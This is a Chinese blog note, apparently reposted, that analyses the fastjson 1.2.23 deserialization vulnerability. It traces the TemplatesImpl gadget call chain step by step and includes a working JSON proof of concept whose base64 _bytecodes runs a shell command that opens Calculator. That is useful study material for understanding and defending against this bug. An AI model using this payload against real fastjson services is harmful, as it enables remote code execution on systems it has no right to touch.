fastjson 反序列化漏洞筆記,比較亂


 現在思路還是有點亂,希望后面能重新寫

先上pon.xml 包

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>fastjson</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>7.0.0</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version></dependency>
    </dependencies>

</project>

  

 

方法解析如下:

com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)      parse(text, featureValues):193
	com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)     parseObject(object, fieldName):1327
		com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object).  deserializer.deserialze(this, clazz, fieldName):368
			com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)      for (int fieldIndex = 0;; fieldIndex++):348. 
				在此遍歷fieldIndex,對key進行解碼,當key=_outputProperties 時,調用鏈往下執行觸發漏洞。
			com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)       parseField(parser, key, object, type, fieldValues):568
				com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:759  生成key2,將key的下划線過濾掉。
				com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:772     fieldDeserializer = getFieldDeserializer(key2)  獲取key2的getField
				com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField:83   setValue(object, value)     
					com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)      Map map = (Map) method.invoke(object)   使用代理調用方法為 public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
						com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties:507.    return newTransformer().getOutputProperties() 調用方法newTransformer()
							com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer:486.  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory)        調用getTransletInstance()方法
								com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance:451. if (_class == null) defineTransletClasses()    調用defineTransletClasses()方法
									com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses:413-424. for (int i = 0; i < classCount; i++) {...}
									_class[i] = loader.defineClass(_bytecodes[i])   取出_bytecodes屬性中的class賦值給_class
								com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance:455. AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()   實例化class類

  

 

test.java:代碼

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class test {

    public static void main(String[] args) {
        String poc3 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
            +
            "\"_bytecodes\":[\"yv66vgAAADQANwgAJAoACgAlCgAmACcHACgIACkIACoKAAkAKwoAJgAsBwAtBwAuAQADY21kAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAK0x5c29zZXJpYWwvcGF5bG9hZHMvRmFzdEpzb24vRmFzdEpzb25YYWxhbjsBAAY8aW5pdD4BAAMoKVYBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAKU291cmNlRmlsZQEAEkZhc3RKc29uWGFsYW4uamF2YQEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAEgATBwAxDAAyADMBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jDAALAAwMADQANQEAKXlzb3NlcmlhbC9wYXlsb2Fkcy9GYXN0SnNvbi9GYXN0SnNvblhhbGFuAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADVN0YWNrTWFwVGFibGUAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAAOQABAAEAAAAGEgGwpwAAAAAAAwAOAAAABgABAAMAFAAPAAAADAABAAAABgAQABEAAAA2AAAAAwABAwABABIAEwACAA0AAABTAAUAAQAAACEqtwACuAADBr0ABFkDEgVTWQQSBlNZBSq2AAdTtgAIV7EAAAACAA4AAAAOAAMAAAAXAAQAGAAgABkADwAAAAwAAQAAACEAEAARAAAAFAAAAAQAAQAVAAEAFgAXAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAAdAA8AAAAqAAQAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAGgAbAAIAAAABABwAHQADAAEAFgAeAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAiAA8AAAAgAAMAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAHwAgAAIAFAAAAAQAAQAhAAEAIgAAAAIAIw==\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
        Object u3 = JSON.parse(poc3, Feature.SupportNonPublicField);

    }
}

  

解析Json的時候要開啟Feature.SupportNonPublicField才能反序列化成功,因為_bytecodes是私有屬性,也有其他方式不需要開啟Feature.SupportNonPublicField。

整理一下poc

{
	"@type":
		"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes":
		["yv66vgAAADQANwgAJAoACgAlCgAmACcHACgIACkIACoKAAkAKwoAJgAsBwAtBwAuAQADY21kAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAK0x5c29zZXJpYWwvcGF5bG9hZHMvRmFzdEpzb24vRmFzdEpzb25YYWxhbjsBAAY8aW5pdD4BAAMoKVYBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAKU291cmNlRmlsZQEAEkZhc3RKc29uWGFsYW4uamF2YQEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAEgATBwAxDAAyADMBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jDAALAAwMADQANQEAKXlzb3NlcmlhbC9wYXlsb2Fkcy9GYXN0SnNvbi9GYXN0SnNvblhhbGFuAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADVN0YWNrTWFwVGFibGUAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAAOQABAAEAAAAGEgGwpwAAAAAAAwAOAAAABgABAAMAFAAPAAAADAABAAAABgAQABEAAAA2AAAAAwABAwABABIAEwACAA0AAABTAAUAAQAAACEqtwACuAADBr0ABFkDEgVTWQQSBlNZBSq2AAdTtgAIV7EAAAACAA4AAAAOAAMAAAAXAAQAGAAgABkADwAAAAwAAQAAACEAEAARAAAAFAAAAAQAAQAVAAEAFgAXAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAAdAA8AAAAqAAQAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAGgAbAAIAAAABABwAHQADAAEAFgAeAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAiAA8AAAAgAAMAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAHwAgAAIAFAAAAAQAAQAhAAEAIgAAAAIAIw=="],
	"_name":
		"a.b",
	"_tfactory":
		{ },
	"_outputProperties":   //觸發點
		{ },
	"_version":
		"1.0",
	"allowedProtocols":
		"all"
}

  

從test.java 開始跟進去:

 

來到:com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)  跟進parseObject()方法 行數:1326-1327

 

 parseObject()會掃描JSON,取json中的key,如果第一個key為@type,會進入下面的if流程,取@type的value值做反序列化,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

 

跟進parseObject()方法,進入到deserializer.deserialze() 進行反序列化

 

 在deserialze() 方法里面有個for循環,這個for循環會遍歷json的key值和value值,for (int fieldIndex = 0;; fieldIndex++) {...}  行數:348-593

當循環來到_outputProperties這個值時,會進入到parseField()方法中。

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 

進入到parseField()中,向下執行遇到smartMatch()方法,這個方法會把key的下划線去掉賦值給key2

 

 

 

 

 

 接着又進入了fieldDeserializer.parseField() 方法。fieldDeserializer這個對象是 class DefaultFieldDeserializer()

進入到com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

 

 

從com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField中

其中object帶着之前解析出來的屬性,進入到setValue()中,調用method.invoke(object);

而這里的method方法時public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

這里執行newTransformer()方法

 從newTransformer()方法中執行getTransletInstance()方法

 

在getTransletInstance()方法中執行了defineTransletClasses()方法

 

 在defineTransletClasses()中遍歷_bytecodes數組,將數組的值賦值給_class數組,然后返回getTransletInstance()方法,

調用AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 執行_bytecodes數組里面的類,而類定義的是靜態方法,直接執行,導致命令執行。

 

 

 

這里說一下_bytecodes里面的值是base64加密的,當fastjson遍歷value值的時候會判斷屬性的值如果是byte[]數組,會自動進行base64解碼。

 

 

參考:

https://paper.seebug.org/292/

https://kingx.me/Details-in-FastJson-RCE.html

https://github.com/genxor

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM